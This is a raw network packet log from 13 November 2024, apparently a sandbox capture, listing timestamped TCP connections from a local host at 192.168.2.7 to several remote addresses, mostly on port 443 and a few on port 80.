Nov 13, 2024 14:41:16.965264082 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.965271950 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.969726086 CET	443	49729	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.969974995 CET	443	49729	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.970024109 CET	49729	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.971589088 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.971669912 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.971677065 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.975110054 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.975167990 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.975173950 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.976078033 CET	49729	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.976110935 CET	443	49729	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.976125956 CET	49729	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.976131916 CET	443	49729	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.979104996 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.979159117 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.979166985 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.979943991 CET	49734	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.979996920 CET	443	49734	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.980117083 CET	49734	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.980532885 CET	49734	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.980551958 CET	443	49734	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.981956005 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.982089996 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.982098103 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.985532045 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.985586882 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.985595942 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.989085913 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.989149094 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.989159107 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.992702007 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.992748022 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.992757082 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.996428013 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.996510029 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.996546984 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.999763012 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.999828100 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.999847889 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:17.032957077 CET	443	49731	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.033548117 CET	49731	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.033557892 CET	443	49731	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.033993959 CET	443	49730	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.034503937 CET	49731	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.034509897 CET	443	49731	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.034821987 CET	49730	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.034840107 CET	443	49730	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.037410975 CET	49730	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.037446022 CET	443	49730	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.050240040 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:17.050261021 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:17.053891897 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:17.053977966 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:17.054195881 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:17.054250956 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:17.054270029 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:17.081100941 CET	443	49732	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.081540108 CET	49732	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.081578970 CET	443	49732	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.082118988 CET	49732	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.082125902 CET	443	49732	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.164076090 CET	443	49731	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.164347887 CET	443	49731	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.164407969 CET	49731	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.164562941 CET	49731	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.164603949 CET	443	49731	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.164629936 CET	49731	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.164645910 CET	443	49731	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.166670084 CET	443	49730	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.166837931 CET	443	49730	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.167068005 CET	49730	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.170533895 CET	49736	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.170563936 CET	443	49736	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.170627117 CET	49736	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.171464920 CET	49730	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.171483040 CET	443	49730	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.171494007 CET	49730	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.171499968 CET	443	49730	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.180284977 CET	49738	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.180308104 CET	443	49738	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.180366039 CET	49738	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.181919098 CET	49736	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.181930065 CET	443	49736	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.182034969 CET	443	49733	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.182549953 CET	49733	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.182585955 CET	443	49733	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.183135986 CET	49733	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.183146000 CET	443	49733	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.187526941 CET	49738	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.187537909 CET	443	49738	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.210453987 CET	443	49732	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.210589886 CET	443	49732	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.210647106 CET	49732	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.210772991 CET	49732	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.210788965 CET	443	49732	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.210812092 CET	49732	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.210818052 CET	443	49732	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.213634014 CET	49740	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.213656902 CET	443	49740	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.213792086 CET	49740	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.213942051 CET	49740	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.213957071 CET	443	49740	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.309897900 CET	443	49733	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.310060978 CET	443	49733	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.310146093 CET	49733	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.310359001 CET	49733	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.310396910 CET	443	49733	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.310410976 CET	49733	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.310420036 CET	443	49733	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.313540936 CET	49742	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.313575029 CET	443	49742	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.313640118 CET	49742	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.313823938 CET	49742	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.313839912 CET	443	49742	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.711658001 CET	443	49734	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.712320089 CET	49734	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.712358952 CET	443	49734	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.713063955 CET	49734	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.713079929 CET	443	49734	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.802479982 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:17.802520990 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:17.802634001 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:17.804547071 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:17.804565907 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:17.842812061 CET	443	49734	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.844448090 CET	443	49734	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.844525099 CET	49734	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.844558001 CET	49734	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.844574928 CET	443	49734	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.844585896 CET	49734	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.844595909 CET	443	49734	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.847330093 CET	49745	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.847362041 CET	443	49745	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.847439051 CET	49745	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.847578049 CET	49745	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.847592115 CET	443	49745	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.902236938 CET	443	49736	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.902883053 CET	49736	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.902901888 CET	443	49736	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.903337002 CET	49736	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.903342009 CET	443	49736	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.957392931 CET	443	49740	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.957967997 CET	49740	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.957981110 CET	443	49740	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.958401918 CET	49740	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.958406925 CET	443	49740	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.971111059 CET	443	49738	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.971559048 CET	49738	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.971575022 CET	443	49738	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:17.971981049 CET	49738	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:17.971987963 CET	443	49738	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.030953884 CET	443	49736	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.031016111 CET	443	49736	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.031078100 CET	49736	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.031255007 CET	49736	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.031295061 CET	443	49736	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.031305075 CET	49736	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.031311035 CET	443	49736	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.034559965 CET	49746	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.034595013 CET	443	49746	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.034774065 CET	49746	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.034967899 CET	49746	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.034979105 CET	443	49746	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.061938047 CET	443	49742	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.062467098 CET	49742	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.062484026 CET	443	49742	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.063009024 CET	49742	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.063014030 CET	443	49742	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.085726023 CET	443	49740	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.085880995 CET	443	49740	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.085928917 CET	49740	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.085999966 CET	49740	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.086009979 CET	443	49740	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.086030960 CET	49740	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.086035967 CET	443	49740	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.088675022 CET	49747	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.088707924 CET	443	49747	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.088814020 CET	49747	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.088960886 CET	49747	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.088977098 CET	443	49747	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.108355045 CET	443	49738	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.108957052 CET	443	49738	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.109256983 CET	49738	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.116544962 CET	49738	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.116544962 CET	49738	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.116559029 CET	443	49738	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.116563082 CET	443	49738	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.119271994 CET	49748	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.119306087 CET	443	49748	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.119409084 CET	49748	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.119560957 CET	49748	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.119584084 CET	443	49748	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.193361998 CET	443	49742	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.193531036 CET	443	49742	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.193588972 CET	49742	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.193730116 CET	49742	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.193730116 CET	49742	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.193747997 CET	443	49742	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.193757057 CET	443	49742	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.196564913 CET	49749	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.196589947 CET	443	49749	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.196719885 CET	49749	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.196880102 CET	49749	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.196893930 CET	443	49749	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.340615034 CET	49698	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:41:18.341521025 CET	49750	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:41:18.341553926 CET	443	49750	104.98.116.138	192.168.2.7
Nov 13, 2024 14:41:18.341625929 CET	49750	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:41:18.342147112 CET	49750	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:41:18.342163086 CET	443	49750	104.98.116.138	192.168.2.7
Nov 13, 2024 14:41:18.345896006 CET	443	49698	104.98.116.138	192.168.2.7
Nov 13, 2024 14:41:18.585597038 CET	443	49745	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.586251974 CET	49745	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.586262941 CET	443	49745	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.586605072 CET	49745	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.586608887 CET	443	49745	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.714637995 CET	443	49745	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.714776993 CET	443	49745	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.714976072 CET	49745	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.714976072 CET	49745	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.715214014 CET	49745	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.715225935 CET	443	49745	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.719719887 CET	49751	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.719748974 CET	443	49751	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.719921112 CET	49751	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.720123053 CET	49751	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.720139027 CET	443	49751	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.742647886 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:18.742657900 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:18.742768049 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:18.742943048 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:18.742947102 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:18.754030943 CET	443	49746	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.754548073 CET	49746	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.754571915 CET	443	49746	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.755013943 CET	49746	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.755024910 CET	443	49746	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.829282999 CET	443	49747	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.837452888 CET	49747	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.837461948 CET	443	49747	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.837883949 CET	49747	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.837892056 CET	443	49747	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.862412930 CET	443	49748	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.863172054 CET	49748	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.863188982 CET	443	49748	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.863692045 CET	49748	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.863698006 CET	443	49748	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.882800102 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:18.883120060 CET	443	49746	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.883172989 CET	443	49746	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.883344889 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:18.883344889 CET	49746	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.886096954 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:18.886096954 CET	49746	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.886121988 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:18.886154890 CET	443	49746	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.886208057 CET	49746	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.886219025 CET	443	49746	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.886434078 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:18.890826941 CET	49754	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.890899897 CET	443	49754	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.891073942 CET	49754	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.891402006 CET	49754	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.891428947 CET	443	49754	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.926987886 CET	443	49749	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.934808969 CET	49749	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.934839964 CET	443	49749	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.935323000 CET	49749	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.935328007 CET	443	49749	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.935568094 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:18.962378025 CET	443	49747	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.962446928 CET	443	49747	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.962646961 CET	49747	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.962718964 CET	49747	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.962729931 CET	443	49747	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.962740898 CET	49747	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.962749004 CET	443	49747	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.966094017 CET	49755	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.966114044 CET	443	49755	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.966200113 CET	49755	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.966994047 CET	49755	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.967005968 CET	443	49755	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.994992971 CET	443	49748	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.995058060 CET	443	49748	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.995383024 CET	49748	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.995383024 CET	49748	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.995410919 CET	49748	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.995430946 CET	443	49748	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.998181105 CET	49757	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.998205900 CET	443	49757	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:18.998289108 CET	49757	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.998430014 CET	49757	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:18.998439074 CET	443	49757	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.060369968 CET	443	49749	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.060622931 CET	443	49749	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.060688019 CET	49749	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.060753107 CET	49749	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.060770988 CET	443	49749	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.060782909 CET	49749	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.060789108 CET	443	49749	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.065073013 CET	49758	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.065114021 CET	443	49758	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.065184116 CET	49758	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.066102028 CET	49758	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.066113949 CET	443	49758	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.275213003 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:19.275412083 CET	49761	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:19.280661106 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:19.280677080 CET	80	49761	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:19.280787945 CET	49761	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:19.280905962 CET	49761	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:19.285995007 CET	80	49761	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:19.491800070 CET	443	49751	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.493952990 CET	49751	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.493962049 CET	443	49751	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.494695902 CET	49751	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.494699955 CET	443	49751	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.562026024 CET	49762	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:19.562047958 CET	443	49762	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:19.563162088 CET	49762	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:19.564192057 CET	49762	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:19.564203024 CET	443	49762	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:19.611495972 CET	443	49754	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.612238884 CET	49754	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.612260103 CET	443	49754	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.612694979 CET	49754	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.612699986 CET	443	49754	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.617613077 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.617877960 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.617904902 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.618937969 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.619007111 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.620018959 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.620081902 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.620280027 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.620285988 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.627696991 CET	443	49751	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.627964973 CET	443	49751	13.107.246.44	192.168.2.7
